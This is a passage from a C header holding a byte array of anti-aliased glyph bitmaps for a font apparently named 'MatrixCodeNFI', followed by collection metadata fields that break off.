0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x4C, 0xA2, 0xF1,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xCA, 0x7B, 0x00, 0x00, 0x00, 0x04, 0x48, 0x9E, 0xEF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0xB6, 0x68, 0x1A, 0x00, 0x00, 0x00, 0x39, 0x9A, 0xEC,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEE, 0xA3, 0x54, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xB4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x90, 0x41, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xB4, 0xFF, 0xFF, 0xFF, 0xFF, 0x9A, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCC, 0x7C, 0x2C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x68, 0xBF, 0xFD, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xDC, 0x8C, 0x3D, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18,
0x6C, 0xC3, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEA, 0x9D, 0x4D, 0x08, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0x70, 0xC7, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4,
0xAD, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x74, 0xCB, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x22, 0x78, 0xCF, 0xFF, 0xFF, 0xFF, 0x01, 0x09, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x37, 0x8D, 0xD1, 0x01, 0xB1, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x01, 0xB4, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x01, 0xAF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFB, 0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xCB, 0x75, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0xC7, 0x71,
0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFE, 0xC3, 0x6D, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x49, 0xAF, 0xF5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xBF, 0x69, 0x16, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x4D, 0x9C, 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC,
0xBC, 0x65, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x3A, 0x89, 0xD8, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xB8, 0x61, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x27, 0x76, 0xC5, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x67, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0A, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x61, 0xB1, 0xF6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x72, 0xC1, 0xFC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xDC, 0x85, 0x2F, 0x00, 0x00, 0x00, 0x32, 0x82, 0xD2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xDF, 0x89, 0x33, 0x00, 0x00, 0x00, 0x00, 0x6B, 0xE1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xE3, 0x8D, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xE6, 0x91, 0x3B, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xFF,
0xFF, 0xE9, 0x95, 0x3F, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x8F, 0xAA, 0x54, 0x14, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
0x11, 0x11, 0x0F, 0x00, 0xA9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x09, 0xAB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0A, 0xA6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x08, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFE, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xDA, 0xFF, 0xC6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xF1, 0xFF, 0xFF, 0xFF, 0xE6, 0x0C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x88, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xFD, 0xFF, 0xEA, 0x2D, 0xF5, 0xFF, 0xF9, 0x24,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xFF, 0xFF, 0x64, 0x00, 0x7D, 0xFF, 0xFF,
0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xFF, 0xFF, 0xCD, 0x02, 0x00, 0x08, 0xDF,
0xFF, 0xFF, 0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xE2, 0xFF, 0xFF, 0x3B, 0x00, 0x00, 0x00,
0x52, 0xFF, 0xFF, 0xD7, 0x05, 0x00, 0x00, 0x00, 0x00, 0x81, 0xFF, 0xFF, 0xA6, 0x00, 0x00, 0x00,
0x00, 0x00, 0xBC, 0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00, 0x1F, 0xF6, 0xFF, 0xF4, 0x1C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x2B, 0xFB, 0xFF, 0xF0, 0x16, 0x00, 0x00, 0xA9, 0xFF, 0xFF, 0x7C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0xFF, 0xFF, 0x9C, 0x00, 0x0F, 0xFD, 0xFF, 0xFF, 0x14, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xFF, 0xFF, 0xF8, 0x06, 0x00, 0x9F, 0xFF, 0xFF, 0x82,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0x91, 0x00, 0x00, 0x1A, 0xF4, 0xFF,
0xF5, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0xFC, 0xFF, 0xEE, 0x12, 0x00, 0x00, 0x00, 0x7E,
0xFF, 0xFF, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB7, 0xFF, 0xFF, 0x6F, 0x00, 0x00, 0x00, 0x00,
0x0A, 0xE4, 0xFF, 0xFD, 0x31, 0x00, 0x00, 0x00, 0x46, 0xFF, 0xFF, 0xD9, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xBD, 0x00, 0x00, 0x03, 0xD2, 0xFF, 0xFF, 0x4D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01, 0xCC, 0xFF, 0xFF, 0x4C, 0x00, 0x64, 0xFF, 0xFF, 0xBC, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xD6, 0x10, 0xE7, 0xFF, 0xFD, 0x2E, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAE, 0xFF, 0xFF, 0xE3, 0xFF, 0xFF, 0x9A, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xFA, 0xFF, 0xFF, 0xFF, 0xF2, 0x16, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0x78, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xED, 0xFF, 0xDF, 0x07,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0x55,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x8C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x83, 0xDA, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47,
0xF0, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0xFC, 0xFF, 0xFF, 0xF4, 0x03, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09,
0xE8, 0xFF, 0xFF, 0xFF, 0xB1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xFF, 0xF2, 0x1F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x9A, 0xFF, 0xFF, 0xFF, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x07, 0x3A, 0x64, 0x46, 0x1A, 0x00, 0x00, 0xC0, 0xFF, 0xE2, 0x53, 0x3D, 0x6F,
0x85, 0x64, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xA4, 0xF8, 0xFF, 0xFF, 0xFF,
0xFF, 0xED, 0xB0, 0xAD, 0xB7, 0xD1, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB9, 0x23, 0x00, 0x00,
0x00, 0x00, 0x19, 0xCB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE6, 0x29, 0x00, 0x00, 0x00, 0xC4, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC2, 0x00, 0x00, 0x47, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE5, 0x23, 0x00, 0x00, 0xC9, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xEF, 0x28, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7E, 0x00, 0x00, 0x00, 0x32, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x12, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x70,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x59, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0E, 0x00, 0x00,
0x00, 0x33, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x0E, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE6,
0x10, 0x00, 0x00, 0x00, 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC4, 0x09, 0x00, 0x00, 0xA0, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xDD, 0x4B, 0x00, 0x31, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x82, 0x00, 0x00,
0xC2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x1F, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA8, 0x00,
0x00, 0x00, 0x03, 0xD4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x37, 0xFD, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB9, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xCF, 0xC7, 0xF7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBD,
0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0xA3, 0xB6, 0x8A, 0x49, 0x0E,
0x00, 0x00, 0x05, 0x34, 0x6E, 0xA8, 0xAA, 0x61, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x03, 0x1D, 0x1A, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x6E, 0xD6, 0xF9, 0xFF, 0xFF, 0x14, 0x00, 0x53, 0xC8, 0xC8, 0xB7, 0x00, 0x00, 0x00, 0x94, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x14, 0x00, 0x71, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x0D, 0xF9, 0xFF, 0xFF,
0xFF, 0xFF, 0xFD, 0x11, 0x00, 0x71, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x2F, 0xFF, 0xFF, 0xFF, 0xA2,
0x16, 0x06, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xEB, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x43, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x2C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x17, 0x57, 0xFF, 0xFF, 0xFF, 0x3C, 0x17, 0x15, 0x00,
0x00, 0x06, 0x17, 0x17, 0x12, 0xBA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x12, 0x00,
0x70, 0xFF, 0xFF, 0xEF, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x14, 0x00, 0x71,
0xFF, 0xFF, 0xF0, 0x76, 0xA8, 0xC4, 0xFF, 0xFF, 0xFF, 0xB4, 0xA8, 0xA7, 0x0A, 0x00, 0x71, 0xFF,
0xFF, 0xF0, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF,
0xF0, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xF0,
0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xF0, 0x00,
0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xF0, 0x00, 0x00,
0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x42,
0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x42, 0xFF,
0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x42, 0xFF, 0xFF,
0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF,
0x17, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17,
0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00,
0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00,
0x00, 0x00, 0x71, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00,
0x00, 0x71, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00,
0x71, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x3D, 0xFF, 0xFF, 0xFE, 0x13, 0x00, 0x00, 0x00, 0x00, 0x6C,
0xFF, 0xFF, 0xEB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x1F, 0x14, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x72, 0xE1, 0xFF, 0xFF, 0xFF, 0x14, 0x00, 0x61, 0xC8, 0xC8,
0xA9, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x14, 0x00, 0x82, 0xFF, 0xFF, 0xDF,
0x00, 0x00, 0x0B, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x11, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x00,
0x00, 0x35, 0xFF, 0xFF, 0xFF, 0xA0, 0x18, 0x06, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x00, 0x00,
0x42, 0xFF, 0xFF, 0xFF, 0x33, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x42,
0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x0D, 0x17, 0x57, 0xFF,
0xFF, 0xFF, 0x2E, 0x17, 0x15, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0xBA, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x12, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x14, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x76, 0xA8, 0xC4, 0xFF, 0xFF, 0xFF, 0xB4,
0xA8, 0xA7, 0x0A, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00,
0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00,
0x00, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00,
0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00,
0x82, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x82,
0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF,
0xFF, 0xDF, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF,
0xDF, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xDF,
0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x00,
0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x00, 0x00,
0x42, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x42,
0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x42, 0xFF,
0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x42, 0xFF, 0xFF,
0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x3D, 0xFF, 0xFF, 0xFE,
0x13, 0x00, 0x00, 0x00, 0x00, 0x7D, 0xFF, 0xFF, 0xDA, 0x00, 0x0D, 0x4D, 0x61, 0x74, 0x72, 0x69,
0x78, 0x43, 0x6F, 0x64, 0x65, 0x4E, 0x46, 0x49, 0x00, 0x0D, 0x4D, 0x61, 0x74, 0x72, 0x69, 0x78,
0x43, 0x6F, 0x64, 0x65, 0x4E, 0x46, 0x49, 0x01
}; | 782,883 | MatrixCodeNFI34 | h | hu | c | code | {"qsc_code_num_words": 129133, "qsc_code_num_chars": 782883.0, "qsc_code_mean_word_length": 4.00010067, "qsc_code_frac_words_unique": 0.00202117, "qsc_code_frac_chars_top_2grams": 0.85079132, "qsc_code_frac_chars_top_3grams": 1.06715194, "qsc_code_frac_chars_top_4grams": 1.16958639, "qsc_code_frac_chars_dupe_5grams": 0.92600645, "qsc_code_frac_chars_dupe_6grams": 0.90203951, "qsc_code_frac_chars_dupe_7grams": 0.87810355, "qsc_code_frac_chars_dupe_8grams": 0.84859209, "qsc_code_frac_chars_dupe_9grams": 0.82310738, "qsc_code_frac_chars_dupe_10grams": 0.79629848, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.46923162, "qsc_code_frac_chars_whitespace": 